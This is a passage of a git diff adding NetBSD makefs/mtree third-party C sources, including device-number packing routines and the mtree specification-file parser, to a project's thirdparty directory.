F_RMD160 0x00001000 /* RMD-160 digest */ +#define F_SHA1 0x00002000 /* SHA1 digest */ +#define F_SIZE 0x00004000 /* size */ +#define F_SLINK 0x00008000 /* symbolic link */ +#define F_TAGS 0x00010000 /* tags */ +#define F_TIME 0x00020000 /* modification time */ +#define F_TYPE 0x00040000 /* file type */ +#define F_UID 0x00080000 /* uid */ +#define F_UNAME 0x00100000 /* user name */ +#define F_VISIT 0x00200000 /* file visited */ +#define F_SHA256 0x00800000 /* SHA256 digest */ +#define F_SHA384 0x01000000 /* SHA384 digest */ +#define F_SHA512 0x02000000 /* SHA512 digest */ + + int flags; /* items set */ + +#define F_BLOCK 0x001 /* block special */ +#define F_CHAR 0x002 /* char special */ +#define F_DIR 0x004 /* directory */ +#define F_FIFO 0x008 /* fifo */ +#define F_FILE 0x010 /* regular file */ +#define F_LINK 0x020 /* symbolic link */ +#define F_SOCK 0x040 /* socket */ +#define F_DOOR 0x080 /* door */ + int type; /* file type */ + + char name[1]; /* file name (must be last) */ +} NODE; + + +typedef struct { + char **list; + int count; +} slist_t; + + +/* + * prototypes for functions published to other programs which want to use + * the specfile parser but don't want to pull in all of "extern.h" + */ +const char *inotype(u_int); +u_int nodetoino(u_int); +int setup_getid(const char *); +NODE *spec(FILE *); +void free_nodes(NODE *); +char *vispath(const char *); + + +#define RP(p) \ + ((p)->fts_path[0] == '.' && (p)->fts_path[1] == '/' ? \ + (p)->fts_path + 2 : (p)->fts_path) + +#define UF_MASK ((UF_NODUMP | UF_IMMUTABLE | \ + UF_APPEND | UF_OPAQUE) \ + & UF_SETTABLE) /* user settable flags */ +#define SF_MASK ((SF_ARCHIVED | SF_IMMUTABLE | \ + SF_APPEND) & SF_SETTABLE) /* root settable flags */ +#define CH_MASK (UF_MASK | SF_MASK) /* all settable flags */ +#define SP_FLGS (SF_IMMUTABLE | SF_APPEND) /* special flags */ + +#endif /* _MTREE_H_ */ diff --git a/thirdparty/makefs/nbcompat.h b/thirdparty/makefs/nbcompat.h new file mode 100644 index 0000000..c763221 --- /dev/null +++ b/thirdparty/makefs/nbcompat.h @@ -0,0 +1,134 @@ +/* $NetBSD: nbcompat.h,v 1.43 2009/04/13 11:30:46 joerg Exp $ */ + +/*- + * Copyright (c) 2003 The NetBSD Foundation, Inc. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS + * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS + * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#include + +#include +#include +#include +#include +#include + +#if HAVE_ERRNO_H +#include +#endif + +#if HAVE_STDARG_H +#include +#endif + +#if HAVE_STDDEF_H +#include +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#if HAVE_NBCOMPAT_POLL +# if HAVE_POLL_H +# undef HAVE_POLL_H +# endif +# if HAVE_SYS_POLL_H +# undef HAVE_SYS_POLL_H +# endif +# include +#endif + +#if HAVE_NBCOMPAT_FTS +# if HAVE_FTS_H +# undef HAVE_FTS_H +# endif +# include +#endif + +#if HAVE_NBCOMPAT_GLOB +# if HAVE_GLOB_H +# undef HAVE_GLOB_H +# endif +# include +#endif + +#if HAVE_NBCOMPAT_REGEX +# if HAVE_REGEX_H +# undef HAVE_REGEX_H +# endif +# include +#endif + +#if HAVE_NBCOMPAT_MD5INIT +# if HAVE_MD5_H +# undef HAVE_MD5_H +# endif +#endif + +#if HAVE_NBCOMPAT_MD5 +# if HAVE_MD5_H +# undef HAVE_MD5_H +# endif +#endif + +#if HAVE_NBCOMPAT_RMD160 +# if HAVE_RMD160_H +# undef HAVE_RMD160_H +# endif +#endif + +#if HAVE_NBCOMPAT_SHA1 +# if HAVE_SHA1_H +# undef HAVE_SHA1_H +# endif +#endif + +#if HAVE_NBCOMPAT_VIS +# if HAVE_VIS_H +# undef HAVE_VIS_H +# endif +# include +#endif + +#if !HAVE_GETOPT_H || !HAVE_STRUCT_OPTION +# undef HAVE_GETOPT_H +# include +#endif diff --git a/thirdparty/makefs/pack_dev.c b/thirdparty/makefs/pack_dev.c new file mode 100644 index 0000000..f91e894 --- /dev/null +++ b/thirdparty/makefs/pack_dev.c @@ -0,0 +1,317 @@ +/* $NetBSD: pack_dev.c,v 1.5 2008/11/06 02:14:52 jschauma Exp $ */ + +/*- + * Copyright (c) 1998, 2001 The NetBSD Foundation, Inc. + * All rights reserved. + * + * This code is derived from software contributed to The NetBSD Foundation + * by Charles M. Hannum. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the NetBSD + * Foundation, Inc. and its contributors. + * 4. Neither the name of The NetBSD Foundation nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS + * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS + * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#if HAVE_CONFIG_H +#include "config.h" +#endif +#if HAVE_NBTOOL_CONFIG_H +#include "nbtool_config.h" +#endif + +#include +#if HAVE_SYS_CDEFS_H +#include +#endif +#if !defined(lint) +__RCSID("$NetBSD: pack_dev.c,v 1.5 2008/11/06 02:14:52 jschauma Exp $"); +#endif /* not lint */ + +#if HAVE_SYS_TYPES_H +#include +#endif +#if HAVE_SYS_STAT_H +#include +#endif + +#if HAVE_LIMITS_H +#include +#endif +#if HAVE_STDIO_H +#include +#endif +#if HAVE_STDLIB_H +#include +#endif +#if HAVE_STRING_H +#include +#endif +#if HAVE_UNISTD_H +#include +#endif + +#include "pack_dev.h" + +static pack_t pack_netbsd; +static pack_t pack_freebsd; +static pack_t pack_8_8; +static pack_t pack_12_20; +static pack_t pack_14_18; +static pack_t pack_8_24; +static pack_t pack_bsdos; +static int compare_format(const void *, const void *); + +static const char iMajorError[] = "invalid major number"; +static const char iMinorError[] = "invalid minor number"; +static const char tooManyFields[] = "too many fields for format"; + + /* exported */ +portdev_t +pack_native(int n, u_long numbers[], const char **error) +{ + portdev_t dev = 0; + + if (n == 2) { + dev = makedev(numbers[0], numbers[1]); + if (major(dev) != numbers[0]) + *error = iMajorError; + else if (minor(dev) != numbers[1]) + *error = iMinorError; + } else + *error = tooManyFields; + return (dev); +} + + +static portdev_t +pack_netbsd(int n, u_long numbers[], const char **error) +{ + portdev_t dev = 0; + + if (n == 2) { + dev = makedev_netbsd(numbers[0], numbers[1]); + if (major_netbsd(dev) != numbers[0]) + *error = iMajorError; + else if (minor_netbsd(dev) != numbers[1]) + *error = iMinorError; + } else + *error = tooManyFields; + return (dev); +} + + +#define major_freebsd(x) ((int32_t)(((x) & 0x0000ff00) >> 8)) +#define minor_freebsd(x) ((int32_t)(((x) & 0xffff00ff) >> 0)) +#define makedev_freebsd(x,y) ((portdev_t)((((x) << 8) & 0x0000ff00) | \ + (((y) << 0) & 0xffff00ff))) + +static portdev_t +pack_freebsd(int n, u_long numbers[], const char **error) +{ + portdev_t dev = 0; + + if (n == 2) { + dev = makedev_freebsd(numbers[0], numbers[1]); + if (major_freebsd(dev) != numbers[0]) + *error = iMajorError; + if (minor_freebsd(dev) != numbers[1]) + *error = iMinorError; + } else + *error = tooManyFields; + return (dev); +} + + +#define major_8_8(x) ((int32_t)(((x) & 0x0000ff00) >> 8)) +#define minor_8_8(x) ((int32_t)(((x) & 0x000000ff) >> 0)) +#define makedev_8_8(x,y) ((portdev_t)((((x) << 8) & 0x0000ff00) | \ + (((y) << 0) & 0x000000ff))) + +static portdev_t +pack_8_8(int n, u_long numbers[], const char **error) +{ + portdev_t dev = 0; + + if (n == 2) { + dev = makedev_8_8(numbers[0], numbers[1]); + if (major_8_8(dev) != numbers[0]) + *error = iMajorError; + if (minor_8_8(dev) != numbers[1]) + *error = iMinorError; + } else + *error = tooManyFields; + return (dev); +} + + +#define major_12_20(x) ((int32_t)(((x) & 0xfff00000) >> 20)) +#define minor_12_20(x) ((int32_t)(((x) & 0x000fffff) >> 0)) +#define makedev_12_20(x,y) ((portdev_t)((((x) << 20) & 0xfff00000) | \ + (((y) << 0) & 0x000fffff))) + +static portdev_t +pack_12_20(int n, u_long numbers[], const char **error) +{ + portdev_t dev = 0; + + if (n == 2) { + dev = makedev_12_20(numbers[0], numbers[1]); + if (major_12_20(dev) != numbers[0]) + *error = iMajorError; + if (minor_12_20(dev) != numbers[1]) + *error = iMinorError; + } else + *error = tooManyFields; + return (dev); +} + + +#define major_14_18(x) ((int32_t)(((x) & 0xfffc0000) >> 18)) +#define minor_14_18(x) ((int32_t)(((x) & 0x0003ffff) >> 0)) +#define makedev_14_18(x,y) ((portdev_t)((((x) << 18) & 0xfffc0000) | \ + (((y) << 0) & 0x0003ffff))) + +static portdev_t +pack_14_18(int n, u_long numbers[], const char **error) +{ + portdev_t dev = 0; + + if (n == 2) { + dev = makedev_14_18(numbers[0], numbers[1]); + if (major_14_18(dev) != numbers[0]) + *error = iMajorError; + if (minor_14_18(dev) != numbers[1]) + *error = iMinorError; + } else + *error = tooManyFields; + return (dev); +} + + +#define major_8_24(x) ((int32_t)(((x) & 0xff000000) >> 24)) +#define minor_8_24(x) ((int32_t)(((x) & 0x00ffffff) >> 0)) +#define makedev_8_24(x,y) ((portdev_t)((((x) << 24) & 0xff000000) | \ + (((y) << 0) & 0x00ffffff))) + +static portdev_t +pack_8_24(int n, u_long numbers[], const char **error) +{ + portdev_t dev = 0; + + if (n == 2) { + dev = makedev_8_24(numbers[0], numbers[1]); + if (major_8_24(dev) != numbers[0]) + *error = iMajorError; + if (minor_8_24(dev) != numbers[1]) + *error = iMinorError; + } else + *error = tooManyFields; + return (dev); +} + + +#define major_12_12_8(x) ((int32_t)(((x) & 0xfff00000) >> 20)) +#define unit_12_12_8(x) ((int32_t)(((x) & 0x000fff00) >> 8)) +#define subunit_12_12_8(x) ((int32_t)(((x) & 0x000000ff) >> 0)) +#define makedev_12_12_8(x,y,z) ((portdev_t)((((x) << 20) & 0xfff00000) | \ + (((y) << 8) & 0x000fff00) | \ + (((z) << 0) & 0x000000ff))) + +static portdev_t +pack_bsdos(int n, u_long numbers[], const char **error) +{ + portdev_t dev = 0; + + if (n == 2) { + dev = makedev_12_20(numbers[0], numbers[1]); + if (major_12_20(dev) != numbers[0]) + *error = iMajorError; + if (minor_12_20(dev) != numbers[1]) + *error = iMinorError; + } else if (n == 3) { + dev = makedev_12_12_8(numbers[0], numbers[1], numbers[2]); + if (major_12_12_8(dev) != numbers[0]) + *error = iMajorError; + if (unit_12_12_8(dev) != numbers[1]) + *error = "invalid unit number"; + if (subunit_12_12_8(dev) != numbers[2]) + *error = "invalid subunit number"; + } else + *error = tooManyFields; + return (dev); +} + + + /* list of formats and pack functions */ + /* this list must be sorted lexically */ +struct format { + const char *name; + pack_t *pack; +} formats[] = { + {"386bsd", pack_8_8}, + {"4bsd", pack_8_8}, + {"bsdos", pack_bsdos}, + {"freebsd", pack_freebsd}, + {"hpux", pack_8_24}, + {"isc", pack_8_8}, + {"linux", pack_8_8}, + {"native", pack_native}, + {"netbsd", pack_netbsd}, + {"osf1", pack_12_20}, + {"sco", pack_8_8}, + {"solaris", pack_14_18}, + {"sunos", pack_8_8}, + {"svr3", pack_8_8}, + {"svr4", pack_14_18}, + {"ultrix", pack_8_8}, +}; + +static int +compare_format(const void *key, const void *element) +{ + const char *name; + const struct format *format; + + name = key; + format = element; + + return (strcmp(name, format->name)); +} + + +pack_t * +pack_find(const char *name) +{ + struct format *format; + + format = bsearch(name, formats, + sizeof(formats)/sizeof(formats[0]), + sizeof(formats[0]), compare_format); + if (format == 0) + return (NULL); + return (format->pack); +} diff --git a/thirdparty/makefs/pack_dev.h b/thirdparty/makefs/pack_dev.h new file mode 100644 index 0000000..7398b12 --- /dev/null +++ b/thirdparty/makefs/pack_dev.h @@ -0,0 +1,59 @@ +/* $NetBSD: pack_dev.h,v 1.4 2008/11/06 02:14:52 jschauma Exp $ */ + +/*- + * Copyright (c) 1998, 2001 The NetBSD Foundation, Inc. + * All rights reserved. + * + * This code is derived from software contributed to The NetBSD Foundation + * by Charles M. Hannum. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the NetBSD + * Foundation, Inc. and its contributors. + * 4. Neither the name of The NetBSD Foundation nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS + * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS + * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef _PACK_DEV_H +#define _PACK_DEV_H + +#ifdef __CYGWIN__ +typedef __dev32_t portdev_t; +#else +typedef dev_t portdev_t; +#endif +typedef portdev_t pack_t(int, u_long [], const char **); + +pack_t *pack_find(const char *); +pack_t pack_native; + +#define major_netbsd(x) ((int32_t)((((x) & 0x000fff00) >> 8))) +#define minor_netbsd(x) ((int32_t)((((x) & 0xfff00000) >> 12) | \ + (((x) & 0x000000ff) >> 0))) +#define makedev_netbsd(x,y) ((dev_t)((((x) << 8) & 0x000fff00) | \ + (((y) << 12) & 0xfff00000) | \ + (((y) << 0) & 0x000000ff))) + +#endif /* _PACK_DEV_H */ diff --git a/thirdparty/makefs/spec.c b/thirdparty/makefs/spec.c new file mode 100644 index 0000000..cee838e --- /dev/null +++ b/thirdparty/makefs/spec.c @@ -0,0 +1,701 @@ +/* $NetBSD: spec.c,v 1.5 2008/11/06 02:14:52 jschauma Exp $ */ + +/*- + * Copyright (c) 1989, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +/*- + * Copyright (c) 2001-2004 The NetBSD Foundation, Inc. + * All rights reserved. + * + * This code is derived from software contributed to The NetBSD Foundation + * by Luke Mewburn of Wasabi Systems. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the NetBSD + * Foundation, Inc. and its contributors. + * 4. Neither the name of The NetBSD Foundation nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS + * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS + * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#if HAVE_CONFIG_H +#include "config.h" +#endif +#if HAVE_NBTOOL_CONFIG_H +#include "nbtool_config.h" +#endif + +//#include +#if HAVE_SYS_CDEFS_H +#include +#endif +#if defined(__RCSID) && !defined(lint) +#if 0 +static char sccsid[] = "@(#)spec.c 8.2 (Berkeley) 4/28/95"; +#else +__RCSID("$NetBSD: spec.c,v 1.5 2008/11/06 02:14:52 jschauma Exp $"); +#endif +#endif /* not lint */ + +#if HAVE_SYS_PARAM_H +#include +#endif +#if HAVE_SYS_STAT_H +#include +#endif + +#if HAVE_CTYPE_H +#include +#endif +#if HAVE_ERRNO_H +#include +#endif +#if HAVE_GRP_H +#include +#endif +#if HAVE_PWD_H +#include +#endif +#if HAVE_STDIO_H +#include +#endif +#if HAVE_STDLIB_H +#include +#endif +#if HAVE_STRING_H +#include +#endif +#if HAVE_UNISTD_H +#include +#endif +#if HAVE_VIS_H +#include +#endif +#if HAVE_UTIL_H +#include +#endif + +#include "extern.h" +#include "pack_dev.h" + +size_t mtree_lineno; /* Current spec line number */ +int mtree_Mflag; /* Merge duplicate entries */ +int mtree_Wflag; /* Don't "whack" permissions */ + +static dev_t parsedev(char *); +static void replacenode(NODE *, NODE *); +static void set(char *, NODE *); +static void unset(char *, NODE *); + +#define REPLACEPTR(x,v) do { if ((x)) free((x)); (x) = (v); } while (0) + +NODE * +spec(FILE *fp) +{ + NODE *centry, *last, *pathparent, *cur; + char *p, *e, *next; + NODE ginfo, *root; + char *buf, *tname, *ntname; + size_t tnamelen, plen; + + root = NULL; + centry = last = NULL; + tname = NULL; + tnamelen = 0; + memset(&ginfo, 0, sizeof(ginfo)); + for (mtree_lineno = 0; + (buf = fparseln(fp, NULL, &mtree_lineno, NULL, + FPARSELN_UNESCCOMM)); + free(buf)) { + /* Skip leading whitespace. */ + for (p = buf; *p && isspace((unsigned char)*p); ++p) + continue; + + /* If nothing but whitespace, continue. */ + if (!*p) + continue; + +#ifdef DEBUG + fprintf(stderr, "line %lu: {%s}\n", + (u_long)mtree_lineno, p); +#endif + /* Grab file name, "$", "set", or "unset". */ + next = buf; + while ((p = strsep(&next, " \t")) != NULL && *p == '\0') + continue; + if (p == NULL) + mtree_err("missing field"); + + if (p[0] == '/') { + if (strcmp(p + 1, "set") == 0) + set(next, &ginfo); + else if (strcmp(p + 1, "unset") == 0) + unset(next, &ginfo); + else + mtree_err("invalid specification `%s'", p); + continue; + } + + if (strcmp(p, "..") == 0) { + /* Don't go up, if haven't gone down. */ + if (root == NULL) + goto noparent; + if (last->type != F_DIR || last->flags & F_DONE) { + if (last == root) + goto noparent; + last = last->parent; + } + last->flags |= F_DONE; + continue; + +noparent: mtree_err("no parent node"); + } + + plen = strlen(p) + 1; + if (plen > tnamelen) { + if ((ntname = realloc(tname, plen)) == NULL) + mtree_err("realloc: %s", strerror(errno)); + tname = ntname; + tnamelen = plen; + } + if (strunvis(tname, p) == -1) + mtree_err("strunvis failed on `%s'", p); + p = tname; + + pathparent = NULL; + if (strchr(p, '/') != NULL) { + cur = root; + for (; (e = strchr(p, '/')) != NULL; p = e+1) { + if (p == e) + continue; /* handle // */ + *e = '\0'; + if (strcmp(p, ".") != 0) { + while (cur && + strcmp(cur->name, p) != 0) { + cur = cur->next; + } + } + if (cur == NULL || cur->type != F_DIR) { + mtree_err("%s: %s", tname, + strerror(ENOENT)); + } + *e = '/'; + pathparent = cur; + cur = cur->child; + } + if (*p == '\0') + mtree_err("%s: empty leaf element", tname); + } + + if ((centry = calloc(1, sizeof(NODE) + strlen(p))) == NULL) + mtree_err("%s", strerror(errno)); + *centry = ginfo; + centry->lineno = mtree_lineno; + strcpy(centry->name, p); +#define MAGIC "?*[" + if (strpbrk(p, MAGIC)) + centry->flags |= F_MAGIC; + set(next, centry); + + if (root == NULL) { + /* + * empty tree + */ + if (strcmp(centry->name, ".") != 0 || + centry->type != F_DIR) + mtree_err( + "root node must be the directory `.'"); + last = root = centry; + root->parent = root; + } else if (pathparent != NULL) { + /* + * full path entry + */ + centry->parent = pathparent; + cur = pathparent->child; + if (cur == NULL) { + pathparent->child = centry; + last = centry; + } else { + for (; cur != NULL; cur = cur->next) { + if (strcmp(cur->name, centry->name) + == 0) { + /* existing entry; replace */ + replacenode(cur, centry); + break; + } + if (cur->next == NULL) { + /* last entry; add new */ + cur->next = centry; + centry->prev = cur; + break; + } + } + last = cur; + while (last->next != NULL) + last = last->next; + } + } else if (strcmp(centry->name, ".") == 0) { + /* + * duplicate "." entry; always replace + */ + replacenode(root, centry); + } else if (last->type == F_DIR && !(last->flags & F_DONE)) { + /* + * new relative child + * (no duplicate check) + */ + centry->parent = last; + last = last->child = centry; + } else { + /* + * relative entry, up one directory + * (no duplicate check) + */ + centry->parent = last->parent; + centry->prev = last; + last = last->next = centry; + } + } + return (root); +} + +void +free_nodes(NODE *root) +{ + NODE *cur, *next; + + if (root == NULL) + return; + + next = NULL; + for (cur = root; cur != NULL; cur = next) { + next = cur->next; + free_nodes(cur->child); + REPLACEPTR(cur->slink, NULL); + REPLACEPTR(cur->md5digest, NULL); + REPLACEPTR(cur->rmd160digest, NULL); + REPLACEPTR(cur->sha1digest, NULL); + REPLACEPTR(cur->sha256digest, NULL); + REPLACEPTR(cur->sha384digest, NULL); + REPLACEPTR(cur->sha512digest, NULL); + REPLACEPTR(cur->tags, NULL); + REPLACEPTR(cur, NULL); + } +} + +/* + * dump_nodes -- + * dump the NODEs from `cur', based in the directory `dir'. + * if pathlast is none zero, print the path last, otherwise print + * it first. + */ +void +dump_nodes(const char *dir, NODE *root, int pathlast) +{ + NODE *cur; + char path[MAXPATHLEN]; + const char *name; + + for (cur = root; cur != NULL; cur = cur->next) { + if (cur->type != F_DIR && !matchtags(cur)) + continue; + + if (snprintf(path, sizeof(path), "%s%s%s", + dir, *dir ? "/" : "", cur->name) + >= sizeof(path)) + mtree_err("Pathname too long."); + + if (!pathlast) + printf("%s ", vispath(path)); + +#define MATCHFLAG(f) ((keys & (f)) && (cur->flags & (f))) + if (MATCHFLAG(F_TYPE)) + printf("type=%s ", nodetype(cur->type)); + if (MATCHFLAG(F_UID | F_UNAME)) { + if (keys & F_UNAME && + (name = user_from_uid(cur->st_uid, 1)) != NULL) + printf("uname=%s ", name); + else + printf("uid=%u ", cur->st_uid); + } + if (MATCHFLAG(F_GID | F_GNAME)) { + if (keys & F_GNAME && + (name = group_from_gid(cur->st_gid, 1)) != NULL) + printf("gname=%s ", name); + else + printf("gid=%u ", cur->st_gid); + } + if (MATCHFLAG(F_MODE)) + printf("mode=%#o ", cur->st_mode); + if (MATCHFLAG(F_DEV) && + (cur->type == F_BLOCK || cur->type == F_CHAR)) + printf("device=%#x ", cur->st_rdev); + if (MATCHFLAG(F_NLINK)) + printf("nlink=%d ", cur->st_nlink); + if (MATCHFLAG(F_SLINK)) + printf("link=%s ", vispath(cur->slink)); + if (MATCHFLAG(F_SIZE)) + printf("size=%lld ", (long long)cur->st_size); + if (MATCHFLAG(F_TIME)) + printf("time=%ld.%ld ", (long)cur->st_mtimespec.tv_sec, + cur->st_mtimespec.tv_nsec); + if (MATCHFLAG(F_CKSUM)) + printf("cksum=%lu ", cur->cksum); + if (MATCHFLAG(F_MD5)) + printf("md5=%s ", cur->md5digest); + if (MATCHFLAG(F_RMD160)) + printf("rmd160=%s ", cur->rmd160digest); + if (MATCHFLAG(F_SHA1)) + printf("sha1=%s ", cur->sha1digest); + if (MATCHFLAG(F_SHA256)) + printf("sha256=%s ", cur->sha256digest); + if (MATCHFLAG(F_SHA384)) + printf("sha384=%s ", cur->sha384digest); + if (MATCHFLAG(F_SHA512)) + printf("sha512=%s ", cur->sha512digest); + if (MATCHFLAG(F_FLAGS)) + printf("flags=%s ", + flags_to_string(cur->st_flags, "none")); + if (MATCHFLAG(F_IGN)) + printf("ignore "); + if (MATCHFLAG(F_OPT)) + printf("optional "); + if (MATCHFLAG(F_TAGS)) + printf("tags=%s ", cur->tags); + puts(pathlast ? vispath(path) : ""); + + if (cur->child) + dump_nodes(path, cur->child, pathlast); + } +} + +/* + * vispath -- + * strsvis(3) encodes path, which must not be longer than MAXPATHLEN + * characters long, and returns a pointer to a static buffer containing + * the result. + */ +char * +vispath(const char *path) +{ + const char extra[] = { ' ', '\t', '\n', '\\', '#', '\0' }; + static char pathbuf[4*MAXPATHLEN + 1]; + + strsvis(pathbuf, path, VIS_CSTYLE, extra); + return(pathbuf); +} + + +static dev_t +parsedev(char *arg) +{ +#define MAX_PACK_ARGS 3 + u_long numbers[MAX_PACK_ARGS]; + char *p, *ep, *dev; + int argc; + pack_t *pack; + dev_t result; + const char *error = NULL; + + if ((dev = strchr(arg, ',')) != NULL) { + *dev++='\0'; + if ((pack = pack_find(arg)) == NULL) + mtree_err("unknown format `%s'", arg); + argc = 0; + while ((p = strsep(&dev, ",")) != NULL) { + if (*p == '\0') + mtree_err("missing number"); + numbers[argc++] = strtoul(p, &ep, 0); + if (*ep != '\0') + mtree_err("invalid number `%s'", + p); + if (argc > MAX_PACK_ARGS) + mtree_err("too many arguments"); + } + if (argc < 2) + mtree_err("not enough arguments"); + result = (*pack)(argc, numbers, &error); + if (error != NULL) + mtree_err(error); + } else { + result = (dev_t)strtoul(arg, &ep, 0); + if (*ep != '\0') + mtree_err("invalid 